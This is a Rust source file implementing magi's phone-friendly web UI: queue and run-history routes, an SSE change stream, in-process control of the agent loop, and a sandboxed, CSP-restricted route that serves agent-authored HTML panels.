Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying no tokens: no `allow-scripts`, no
52//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
53//! reach the parent document, the cookie jar or `localStorage`. On top of that
54//! both routes send [`PANEL_CSP`], which denies every network destination, so a
55//! panel cannot phone home through a remote image or a beacon either - the two
56//! things it may load, images and inline CSS, are the two things free
57//! formatting actually needs. Assets come from the question's own directory and
58//! never from the network, and their content types come from a closed
59//! whitelist, so an agent cannot get markup rendered outside the frame by
60//! naming a file `.html`.
61//!
62//! # An interview is not a filesystem read
63//!
64//! Every other route here is disk work, which is why [`blocking`] exists.
65//! `POST /api/chats/{id}/say` is the exception: it spawns an agent CLI and
66//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
67//! and no executor thread, and concurrent turns on one chat are refused rather
68//! than queued - see [`Ui::begin_turn`].
69//!
70//! # The loop runs here
71//!
72//! `magi web` runs the queue loop in this process, started and stopped from
73//! `/api/loop`. That is the point of the whole surface: a task filed from a
74//! phone with nobody around to type `magi serve` is a task that sits in the
75//! queue until someone walks back to the machine.
76//!
77//! It is a tokio task holding a [`daemon::Stop`], not a child process. There
78//! is no pid file of this module's own and nothing to supervise - a child
79//! would need reaping, a second copy of the daemon's retry policy, and a
80//! story for what happens when `magi web` dies with the loop still running.
81//! `<home>/daemon.json`, which the loop itself writes, stays the only
82//! cross-process signal, and it is how this process notices that the
83//! operator's own `magi serve` already owns the loop and refuses to start a
84//! second one that would fight it for claims.
85//!
86//! Stopping is cooperative and therefore not instant. A run in flight is
87//! finished first, for the reason [`daemon::serve`] gives: killing the graph
88//! mid-node leaves worktrees, branches and agent sessions behind and throws
89//! away every agent call already paid for. `POST /api/loop` sets the flag and
90//! answers immediately rather than waiting, because the wait is measured in
91//! tens of minutes and the operator is holding a phone.
92
93use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::extract::rejection::JsonRejection;
106use axum::extract::{Path, Query, State};
107use axum::http::{HeaderValue, StatusCode, header};
108use axum::response::sse::{Event, KeepAlive, Sse};
109use axum::response::{IntoResponse, Response};
110use axum::routing::{delete, get, post};
111use jiff::Timestamp;
112use serde::{Deserialize, Serialize};
113use tokio_stream::StreamExt as _;
114use tokio_stream::wrappers::ReceiverStream;
115
116use crate::advise;
117use crate::ask::{Answer, Question, Questions};
118use crate::chat::{Chat, Chats};
119use crate::config::{Config, Update, UpdateMode};
120use crate::md;
121use crate::proc::Quiet as _;
122use crate::queue::{Queue, Task, title_from};
123use crate::run::{RunState, RunStatus};
124use crate::talk::{Talk, Talks};
125use crate::{chat, daemon, report, repos, run, talk, updater};
126
127/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
128pub const DEFAULT_PORT: u16 = 7878;
129
130/// How often the change stream restats the queue and the runs directory.
131const POLL: Duration = Duration::from_secs(1);
132
133/// Keep-alive interval for the change stream. Phones and intermediaries drop
134/// an idle connection within a minute; a comment every fifteen seconds keeps
135/// the stream alive without waking the radio often enough to matter.
136const KEEPALIVE: Duration = Duration::from_secs(15);
137
138/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
139///
140/// A fixed period this long would not track a `[update] interval` shorter
141/// than itself: an operator who set `interval = "1m"` to make the deck
142/// notice a release within a minute would still wait up to fifteen of them
143/// for the next wake-up to even ask [`updater::Checker::should_check`].
144/// [`recheck_poll_period`] scales the sleep with the configured interval
145/// instead, and this is only its ceiling - reached at the default interval
146/// of a day, where waking any more often would just spend cycles asking a
147/// question that stays "no" for hours.
148const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
149
150/// Floor on the same, so a very short `[update] interval` cannot spin
151/// [`run_update_recheck`] in a near-busy loop.
152const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
153
154/// Runs returned when the client does not ask, and the ceiling if it asks for
155/// more. The cap exists because the list handler parses every `run.json` it
156/// returns, and a phone cannot render two thousand rows anyway.
157const LIST_DEFAULT: usize = 50;
158/// Upper bound for `?limit=`.
159const LIST_MAX: usize = 500;
160
161/// Width of a generated task title, matching what the CLI uses.
162const TITLE_MAX: usize = 72;
163
164/// The header that makes serving agent-authored HTML defensible, sent by both
165/// panel routes and asserted verbatim by a test.
166///
167/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
168/// denies every fetch destination that is not re-allowed below, which is all of
169/// them except images and fonts; `img-src 'self' data:` means an image comes
170/// from magi's own asset route or from the document itself, so a panel cannot
171/// signal an outside server by pointing an `<img>` at it - the classic
172/// exfiltration channel for markup that cannot run script. `style-src
173/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
174/// free formatting means here and a style sheet cannot make a request that
175/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
176/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
177/// stops a form posting the owner's decision to a third party, and
178/// `frame-ancestors 'self'` stops another site framing the panel to phish with
179/// it.
180///
181/// There is deliberately no `script-src`: `default-src 'none'` already covers
182/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
183/// denied twice over. Weakening any directive here is the difference between a
184/// panel the owner reads and a page that can talk to the tailnet, which is why
185/// the test compares the whole string rather than looking for a substring.
186const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
187                         font-src data:; base-uri 'none'; form-action 'none'; \
188                         frame-ancestors 'self'";
189
190const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
191const APP_CSS: &str = include_str!("../assets/ui/app.css");
192const APP_JS: &str = include_str!("../assets/ui/app.js");
193
194/// Which address to listen on.
195#[derive(Debug, Clone, Copy, PartialEq, Eq)]
196pub enum Bind {
197    /// Ask Tailscale, and fall back to loopback with a warning.
198    Auto,
199    /// An address the operator named.
200    Addr(IpAddr),
201}
202
203impl std::str::FromStr for Bind {
204    type Err = String;
205
206    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
207    /// the CLI can take `--bind` straight into it: the one spelling of
208    /// `auto` that matters is the one this function knows.
209    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
210        if s.eq_ignore_ascii_case("auto") {
211            return Ok(Self::Auto);
212        }
213        s.parse()
214            .map(Self::Addr)
215            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
216    }
217}
218
219impl std::fmt::Display for Bind {
220    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
221        match self {
222            Self::Auto => f.write_str("auto"),
223            Self::Addr(addr) => write!(f, "{addr}"),
224        }
225    }
226}
227
228/// How to serve.
229#[derive(Debug, Clone)]
230pub struct Opts {
231    /// Address to listen on.
232    pub bind: Bind,
233    /// Port to listen on.
234    pub port: u16,
235    /// Repository used for tasks posted without one.
236    pub repo: PathBuf,
237    /// Print the URL on its own line for a caller that wants to hand it to a
238    /// browser. magi never launches one itself.
239    pub open: bool,
240    /// Merge mode override for the loop this process runs (`none`, `local`,
241    /// `pr`); `None` leaves it to each repository's own config.
242    ///
243    /// The same override `magi serve --merge` takes, and here for the same
244    /// reason: `magi web` is now the thing that runs the loop, so an operator
245    /// who wants this session's runs to open pull requests has to be able to
246    /// say so without going back to the command they no longer type.
247    pub merge: Option<String>,
248}
249
250impl Default for Opts {
251    fn default() -> Self {
252        Self {
253            bind: Bind::Auto,
254            port: DEFAULT_PORT,
255            repo: PathBuf::from("."),
256            open: false,
257            merge: None,
258        }
259    }
260}
261
262/// Everything the handlers touch.
263///
264/// The queue, the runs directory and the magi home are fields rather than
265/// process-global lookups so a test drives the real router against a temp
266/// directory instead of the operator's own history.
267#[derive(Debug, Clone)]
268pub struct Ui {
269    queue: Queue,
270    questions: Questions,
271    chats: Chats,
272    talks: Talks,
273    runs: PathBuf,
274    home: PathBuf,
275    repo: PathBuf,
276    /// Where the runs' worktrees live, for the health disk figures.
277    ///
278    /// Spelled independently of [`crate::run::default_worktree_root`] so the
279    /// test servers can point it at their own temp directory: the health route
280    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
281    /// be measuring the machine instead of the server.
282    worktrees_root: PathBuf,
283    /// Chats with an agent turn in flight right now.
284    ///
285    /// In-process and therefore not durable, which is correct: it guards
286    /// against two taps on one phone and two phones on one tailnet, both of
287    /// which are this process's own concurrency. A second `magi web` would not
288    /// see it, and a second `magi web` on the same home is already a
289    /// misconfiguration the queue's claims would catch first.
290    turns: Arc<Mutex<HashSet<String>>>,
291    /// Talks with an agent turn in flight right now. Separate from `turns`
292    /// because a talk and a chat are different stores with different ids;
293    /// sharing one set would let a chat id collide with a talk id in theory,
294    /// and there is no reason to make the two surfaces share a guard at all.
295    talk_turns: Arc<Mutex<HashSet<String>>>,
296    /// Runs this process is resuming right now.
297    ///
298    /// Separate from `turns` because a run and a chat are different things to
299    /// hold, and a resume is far more expensive to start twice: it re-asks
300    /// agent seats. Same reasoning about scope as `turns` — this guards two
301    /// taps and two phones, which is this process's own concurrency.
302    resuming: Arc<Mutex<HashSet<String>>>,
303    /// The last scan of `[repos] roots`, and when it happened. Shared across
304    /// requests so a phone opening the repository picker repeatedly does not
305    /// repeat the filesystem walk every time - see [`repos::Cache`].
306    repos_cache: repos::Cache,
307    /// Merge mode override handed to the loop this process starts.
308    merge: Option<String>,
309    /// The loop this process is running, if it is running one.
310    looping: Arc<Mutex<LoopState>>,
311    /// How a loop is actually started.
312    ///
313    /// A field rather than a direct call to [`daemon::serve_until`], because
314    /// the real loop resolves its queue and its status file through the
315    /// process-global magi home and claims whatever it finds there. A test
316    /// that started it would reach straight past its own temp directory into
317    /// the operator's live queue, overwrite the status file of the `magi
318    /// serve` that owns it, and spend real agent quota on a real competition.
319    /// What the routes have to get right is the bookkeeping, so the tests
320    /// drive the routes against a loop that only starts and stops; production
321    /// is [`launch_daemon`] and nothing reassigns it.
322    launch: Launch,
323}
324
325impl Ui {
326    /// A server over explicit paths.
327    pub fn new(
328        queue: Queue,
329        questions: Questions,
330        chats: Chats,
331        talks: Talks,
332        runs: PathBuf,
333        home: PathBuf,
334        repo: PathBuf,
335    ) -> Self {
336        Self {
337            queue,
338            questions,
339            chats,
340            talks,
341            runs,
342            home,
343            repo,
344            // The default location, overridden by `with_worktrees_root` - a
345            // builder step rather than a ninth parameter, for the reason
346            // `with_merge` gives.
347            worktrees_root: run::default_worktree_root(),
348            turns: Arc::default(),
349            talk_turns: Arc::default(),
350            resuming: Arc::default(),
351            repos_cache: repos::Cache::new(),
352            merge: None,
353            looping: Arc::default(),
354            launch: launch_daemon,
355        }
356    }
357
358    /// The operator's own state: `<home>/queue`, `<home>/questions`,
359    /// `<home>/chats`, `<home>/talks`, `<home>/runs`.
360    pub fn open(repo: PathBuf) -> Self {
361        Self::new(
362            Queue::open(),
363            Questions::open(),
364            Chats::open(),
365            Talks::open(),
366            run::runs_root(),
367            run::home(),
368            repo,
369        )
370    }
371
372    /// The merge mode the loop should use, as the command line gave it.
373    ///
374    /// A builder step rather than a seventh parameter on [`Ui::new`], because
375    /// the override is a property of how this process was invoked and not of
376    /// where its state lives - which is all the tests that build a `Ui` by
377    /// hand are saying.
378    #[must_use]
379    pub fn with_merge(mut self, merge: Option<String>) -> Self {
380        self.merge = merge;
381        self
382    }
383
384    /// Where the runs' worktrees live, when it is not the default.
385    ///
386    /// The health view sizes this directory, so a test that leaves it at the
387    /// default would be measuring the operator's own machine.
388    #[must_use]
389    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
390        self.worktrees_root = root;
391        self
392    }
393
394    /// Point the loop at something other than [`launch_daemon`].
395    ///
396    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
397    /// this crate may start the real loop.
398    #[cfg(test)]
399    #[must_use]
400    fn with_launch(mut self, launch: Launch) -> Self {
401        self.launch = launch;
402        self
403    }
404
405    /// The loop's state, for [`serve`]'s own way out.
406    fn looping(&self) -> Arc<Mutex<LoopState>> {
407        Arc::clone(&self.looping)
408    }
409
410    /// Start the loop in this process, or say who already has one.
411    ///
412    /// `foreign` is passed in rather than read here so that one request makes
413    /// one judgement about who owns the loop: reading the status file again
414    /// inside this function could refuse a start for a daemon the same
415    /// response then reports as gone.
416    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
417        if let Some(other) = foreign {
418            return Err(ApiError::conflict(format!(
419                "{} is already running the loop, so this one will not start a \
420                 second: two loops on one queue race for the same claims and \
421                 burn the agent quota twice over. Stop it where it was \
422                 started.",
423                other.who()
424            )));
425        }
426        let mut state = self.lock_loop();
427        if state.live.as_ref().is_some_and(Live::alive) {
428            return Err(ApiError::conflict(format!(
429                "this magi web process (pid {}) is already running the loop",
430                std::process::id()
431            )));
432        }
433
434        let stop = daemon::Stop::new();
435        // The CLI's own defaults for everything the UI has no opinion about:
436        // one poll interval and one retry budget, so a loop started from a
437        // phone behaves exactly like the `magi serve` it replaces.
438        let opts = daemon::Opts {
439            repo: self.repo.clone(),
440            merge: self.merge.clone(),
441            ..daemon::Opts::default()
442        };
443        let launch = self.launch;
444        let looping = Arc::clone(&self.looping);
445        let handle = tokio::spawn({
446            let opts = opts.clone();
447            let stop = stop.clone();
448            async move {
449                let failure = match launch(opts, stop).await {
450                    Ok(()) => None,
451                    Err(e) => Some(format!("{e:#}")),
452                };
453                match &failure {
454                    Some(why) => tracing::error!("the loop stopped: {why}"),
455                    None => tracing::info!("the loop stopped"),
456                }
457                // Recorded by the task itself rather than reaped by whichever
458                // request happens next, so `loop_rev` moves the moment the
459                // loop ends and a phone with the change stream open learns
460                // that it did. Clearing `live` drops this task's own handle,
461                // which only detaches it, and is the last thing it does.
462                let mut state = lock_or_recover(&looping);
463                state.live = None;
464                state.last_error = failure;
465                state.rev += 1;
466            }
467        });
468        tracing::info!(
469            "the loop is now running in this process: repo {}, merge {}",
470            opts.repo.display(),
471            opts.merge.as_deref().unwrap_or("as the config says")
472        );
473        state.live = Some(Live { stop, handle, opts });
474        // A fresh start is not the place to keep showing why the last one
475        // died; the operator has read it and pressed the button anyway.
476        state.last_error = None;
477        state.rev += 1;
478        Ok(())
479    }
480
481    /// Ask the loop to stop, without waiting for it to get there.
482    ///
483    /// Idempotent: a second tap on stop is not an error, because the first one
484    /// leaves the loop running for as long as the run in flight takes and the
485    /// operator has no way to tell a slow stop from a lost one.
486    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
487        if let Some(other) = foreign {
488            return Err(ApiError::conflict(format!(
489                "the loop belongs to {}, and this process cannot stop it - \
490                 stop it where it was started. A button that silently did \
491                 nothing would be worse than this refusal.",
492                other.who()
493            )));
494        }
495        let mut state = self.lock_loop();
496        let Some(live) = state.live.as_ref() else {
497            return Ok(());
498        };
499        // A park upgrades a stop that has already been asked for: the
500        // operator who tapped "stop" and then realised the run has an hour
501        // left must not have to restart the loop to change their mind.
502        if live.stop.stopped() && (!park || live.stop.parking()) {
503            return Ok(());
504        }
505        if park {
506            live.stop.park();
507            tracing::info!("the loop was asked to park; the run stops at its next node boundary");
508        } else {
509            live.stop.stop();
510            tracing::info!("the loop was asked to stop; a run in flight is finished first");
511        }
512        state.rev += 1;
513        Ok(())
514    }
515
516    /// The loop as both `/api/loop` and `/api/health` report it.
517    ///
518    /// `reading` is the caller's single read of `<home>/daemon.json`, because
519    /// health answers with this view *and* the daemon object beside it: one
520    /// read per response is what stops a single answer naming a foreign owner
521    /// in one field and calling the loop free in the other.
522    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
523        let state = self.lock_loop();
524        // A loop that panicked never recorded its own end, so the handle -
525        // not the presence of the record - is what "running" means.
526        let live = state.live.as_ref().filter(|live| live.alive());
527        LoopView {
528            running: live.is_some(),
529            stopping: live.is_some_and(|live| live.stop.finishing()),
530            parking: live.is_some_and(|live| live.stop.parking()),
531            owned: live.is_some(),
532            repo: live
533                .map_or(&self.repo, |live| &live.opts.repo)
534                .display()
535                .to_string(),
536            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
537            last_error: state.last_error.clone(),
538            daemon: DaemonView::of(reading),
539        }
540    }
541
542    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
543    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
544        lock_or_recover(&self.looping)
545    }
546
547    /// Claim the right to run one turn in a chat, or refuse.
548    ///
549    /// An interview is strictly turn-based: the interviewing agent is resumed
550    /// with the conversation it already has, so two turns running at once would
551    /// resume the same session twice and append their answers in whatever order
552    /// the two CLIs finished in. The operator would come back to a transcript
553    /// with two half-turns interleaved, which is unreadable and, worse,
554    /// unfixable - there is no undo for a persisted turn.
555    ///
556    /// Refusing with a conflict rather than queueing behind the first turn is
557    /// the deliberate half. A turn takes tens of seconds, so a phone on a slow
558    /// link is exactly the case where the operator taps send twice; queueing
559    /// would answer the second tap with a second agent turn on text they only
560    /// meant to send once, and would do it a minute later when they have
561    /// stopped looking. An immediate 409 is a thing the front end can act on.
562    ///
563    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
564    /// taken to test-and-insert and released before the agent is spawned. The
565    /// returned guard removes the id on drop, which is what makes a panicking
566    /// handler or a phone that walks out of range leave the chat usable - axum
567    /// drops the handler future when the client disconnects, and without the
568    /// guard that chat would be wedged until the server restarted.
569    fn begin_turn(&self, id: &str) -> ApiResult<TurnGuard> {
570        let mut live = self
571            .turns
572            .lock()
573            .map_err(|_| ApiError::internal("the chat turn lock was poisoned"))?;
574        if !live.insert(id.to_owned()) {
575            return Err(ApiError::conflict(format!(
576                "chat {id} is already taking a turn"
577            )));
578        }
579        Ok(TurnGuard {
580            chat: id.to_owned(),
581            turns: Arc::clone(&self.turns),
582        })
583    }
584
585    /// Is this chat's turn claimed by [`Ui::begin_turn`] in this process right
586    /// now? The source of [`ChatView::thinking`] - see there for what the
587    /// answer does and does not promise.
588    fn is_thinking(&self, id: &str) -> bool {
589        self.turns.lock().is_ok_and(|live| live.contains(id))
590    }
591
592    /// [`Ui::begin_turn`]'s counterpart for a talk. Same reasoning throughout:
593    /// a talk's seat is resumed the same way a planning chat's is, so two
594    /// turns running at once would race to append to one CLI conversation.
595    fn begin_talk_turn(&self, id: &str) -> ApiResult<TalkTurnGuard> {
596        let mut live = self
597            .talk_turns
598            .lock()
599            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
600        if !live.insert(id.to_owned()) {
601            return Err(ApiError::conflict(format!(
602                "talk {id} is already taking a turn"
603            )));
604        }
605        Ok(TalkTurnGuard {
606            talk: id.to_owned(),
607            turns: Arc::clone(&self.talk_turns),
608        })
609    }
610
611    /// Park the loop for an upgrade, and report the run that is parking.
612    ///
613    /// A park rather than a stop: a stop waits out the whole competition, and
614    /// not waiting is the point of upgrading from a phone. `None` means
615    /// nothing was in flight, which is worth saying so the operator is not
616    /// told a run is parking when none is.
617    fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
618        let parking = {
619            let mut state = self.lock_loop();
620            let Some(live) = state.live.as_ref() else {
621                return Ok(None);
622            };
623            let busy = live.stop.busy_now();
624            live.stop.park();
625            state.rev += 1;
626            busy
627        };
628        Ok(if parking {
629            // More than one run can be in flight now (see
630            // `Config::daemon.max_concurrent_runs`); this answer names one of
631            // them so the operator sees a park actually happened, not every
632            // run a park now asks to stop at its next boundary.
633            daemon::current_work(&self.home, jiff::Timestamp::now())
634                .into_iter()
635                .next()
636                .map(|c| c.run)
637        } else {
638            None
639        })
640    }
641
642    /// Claim a run for a resume, on the same reasoning as [`Ui::begin_turn`]:
643    /// a guard that releases on drop, so a disconnected phone does not wedge
644    /// the run until the server restarts.
645    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
646        let mut live = self
647            .resuming
648            .lock()
649            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
650        if !live.insert(id.to_owned()) {
651            return Err(ApiError::conflict(format!(
652                "run {id} is already being resumed"
653            )));
654        }
655        Ok(ResumeGuard {
656            run: id.to_owned(),
657            resuming: Arc::clone(&self.resuming),
658        })
659    }
660
661    /// The router, with this state baked in.
662    ///
663    /// The three front-end files get one explicit route each rather than a
664    /// path parameter, so there is no traversal surface to get wrong: the set
665    /// of servable paths is the set written here. The asset route below is the
666    /// one exception and the only place in this server where a client names a
667    /// file; it is why [`valid_asset_name`] is checked before a path is built.
668    pub fn router(self) -> Router {
669        Router::new()
670            .route("/", get(index))
671            .route("/app.css", get(app_css))
672            .route("/app.js", get(app_js))
673            .route("/api/health", get(health))
674            .route("/api/loop", get(loop_get).post(loop_post))
675            .route("/api/upgrade", post(upgrade_post))
676            .route("/api/runs", get(runs_list))
677            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
678            .route("/api/runs/{id}/report", get(run_report))
679            .route("/api/runs/{id}/fold", post(run_fold))
680            .route("/api/runs/{id}/resume", post(run_resume))
681            .route("/api/queue", get(queue_list))
682            .route("/api/queue/{id}", delete(queue_delete))
683            .route("/api/repos", get(repos_list))
684            .route("/api/drafts", get(drafts_list))
685            .route("/api/drafts/{id}/advisors", get(draft_advisors))
686            .route("/api/queue/{id}/hold", post(queue_hold))
687            .route("/api/queue/{id}/release", post(queue_release))
688            .route("/api/queue/{id}/priority", post(queue_priority))
689            .route("/api/queue/{id}/edit", post(queue_edit))
690            .route("/api/queue/{id}/done", post(queue_done))
691            .route("/api/questions", get(questions_list))
692            .route("/api/questions/{id}/answer", post(question_answer))
693            .route("/api/questions/{id}/say", post(question_say))
694            .route("/api/questions/{id}/panel", get(question_panel))
695            // The same asset, reachable from inside the panel by its bare
696            // filename. A document served at `.../panel` resolves `shot.png`
697            // to `.../shot.png`, which is not the asset route, so a panel
698            // written the way its author was told to write it showed broken
699            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
700            // it - deliberately - so the fix is that the panel's own URL ends
701            // in a filename and its siblings are the assets.
702            .route("/api/questions/{id}/panel/index.html", get(question_panel))
703            .route("/api/questions/{id}/panel/{name}", get(question_asset))
704            .route("/api/questions/{id}/asset/{name}", get(question_asset))
705            .route("/api/chats", get(chats_list).post(chat_post))
706            .route("/api/chats/{id}", get(chat_detail))
707            .route("/api/chats/{id}/say", post(chat_say))
708            .route("/api/chats/{id}/file", post(chat_file))
709            .route("/api/talks", get(talks_list).post(talk_post))
710            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
711            .route("/api/talks/{id}/say", post(talk_say))
712            .route("/api/talks/{id}/close", post(talk_close))
713            .route("/api/talks/{id}/reopen", post(talk_reopen))
714            .route("/api/events", get(events))
715            .with_state(Arc::new(self))
716    }
717}
718
719/// One chat's turn slot, released on drop.
720///
721/// A guard rather than a matching `remove` at the end of the handler, because
722/// the handler has several early returns and one `await` that can be cancelled
723/// out from under it. A leaked id is a chat nobody can talk to again.
724#[derive(Debug)]
725struct TurnGuard {
726    chat: String,
727    turns: Arc<Mutex<HashSet<String>>>,
728}
729
730impl Drop for TurnGuard {
731    fn drop(&mut self) {
732        if let Ok(mut live) = self.turns.lock() {
733            live.remove(&self.chat);
734        }
735    }
736}
737
738/// [`TurnGuard`]'s counterpart for a talk's turn slot.
739#[derive(Debug)]
740struct TalkTurnGuard {
741    talk: String,
742    turns: Arc<Mutex<HashSet<String>>>,
743}
744
745impl Drop for TalkTurnGuard {
746    fn drop(&mut self) {
747        if let Ok(mut live) = self.turns.lock() {
748            live.remove(&self.talk);
749        }
750    }
751}
752
753/// Releases a resume claim, so a run is resumable again after the attempt.
754struct ResumeGuard {
755    run: String,
756    resuming: Arc<Mutex<HashSet<String>>>,
757}
758
759impl Drop for ResumeGuard {
760    fn drop(&mut self) {
761        if let Ok(mut live) = self.resuming.lock() {
762            live.remove(&self.run);
763        }
764    }
765}
766
767/// Bind the port, waiting briefly for a predecessor to let go of it.
768///
769/// A restart hands the address from one process to the next, and the old one
770/// holds its listener until it unwinds. A single `bind` can lose that race,
771/// and for a restart triggered from a phone that means the deck never comes
772/// back with no terminal around to say why.
773///
774/// Bounded, and only for the one error a wait can fix: anything else fails at
775/// once, because retrying it would turn a clear message into a silence.
776async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
777    const WINDOW: Duration = Duration::from_secs(10);
778    const GAP: Duration = Duration::from_millis(250);
779
780    let deadline = std::time::Instant::now() + WINDOW;
781    let mut said = false;
782    loop {
783        match tokio::net::TcpListener::bind(socket).await {
784            Ok(listener) => return Ok(listener),
785            Err(e)
786                if e.kind() == std::io::ErrorKind::AddrInUse
787                    && std::time::Instant::now() < deadline =>
788            {
789                if !said {
790                    said = true;
791                    tracing::info!(
792                        "{socket} is still held - waiting up to {}s for it, \
793                         which is what a restart looks like from here",
794                        WINDOW.as_secs()
795                    );
796                }
797                tokio::time::sleep(GAP).await;
798            }
799            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
800        }
801    }
802}
803
804/// Signalled when an upgrade has replaced the binary and the successor should
805/// take this address over. One per process: there is one address to hand on.
806static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
807
808/// Start this binary again with the same arguments, detached.
809///
810/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
811/// so the address is already free when the successor binds it. The first
812/// attempt at this spawned the successor two hundred milliseconds before
813/// exiting instead, and the released binary - which has no bind retry - died
814/// on "address already in use" with its stdio sent to null, so the deck
815/// simply never came back.
816///
817/// Detached and without inherited stdio: the successor has to outlive this
818/// process, and must not hold open a pipe a terminal is waiting on.
819fn spawn_successor() -> Result<()> {
820    let exe = std::env::current_exe().context("find this binary")?;
821    let args: Vec<String> = std::env::args().skip(1).collect();
822    tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
823
824    let mut cmd = std::process::Command::new(&exe);
825    cmd.args(&args)
826        .stdin(std::process::Stdio::null())
827        .stdout(std::process::Stdio::null())
828        .stderr(std::process::Stdio::null());
829    #[cfg(windows)]
830    {
831        use std::os::windows::process::CommandExt as _;
832        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
833        // and Ctrl-C in the old terminal must not reach the successor.
834        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
835    }
836    cmd.spawn().context("start the successor")?;
837    Ok(())
838}
839
840/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
841///
842/// The server itself owns no state, so nothing here is graceful for the HTTP
843/// side's sake: the connections go with the dropped listener, which costs a
844/// phone one change-stream reconnection it was going to make anyway.
845///
846/// The signal branch is not optional now that the loop lives in this process.
847/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
848/// handler is what stops the signal terminating the process - so without a
849/// branch of our own, the first Ctrl-C after the operator started the loop
850/// would stop the loop and leave `magi web` listening forever, unkillable
851/// from the terminal it was started in.
852///
853/// What it waits for is the loop, not the sockets. A run in flight is
854/// finished first, for the reason [`daemon::serve`] gives: killing the graph
855/// mid-node leaves worktrees, branches and agent sessions behind and throws
856/// away every agent call already paid for.
857///
858/// The server therefore runs on a task of its own rather than inside the
859/// `select!`: an arm that resolves *drops* the futures the other arms were
860/// polling, so serving the address from inside one would take the deck down
861/// at the instant the handover began and keep it down for the whole park -
862/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
863/// owns the order.
864pub async fn serve(opts: Opts) -> Result<()> {
865    let (addr, warning) = resolve_bind(&opts.bind);
866    if let Some(warning) = warning {
867        tracing::warn!("{warning}");
868    }
869
870    // Process-global, and therefore set exactly once, here: the report route
871    // must never emit escape sequences into a browser, and toggling the flag
872    // per request would race with a concurrent request rendering its own
873    // report. Startup is the only moment at which no request can observe the
874    // change. Nothing in the server turns colour back on.
875    report::set_color(false);
876
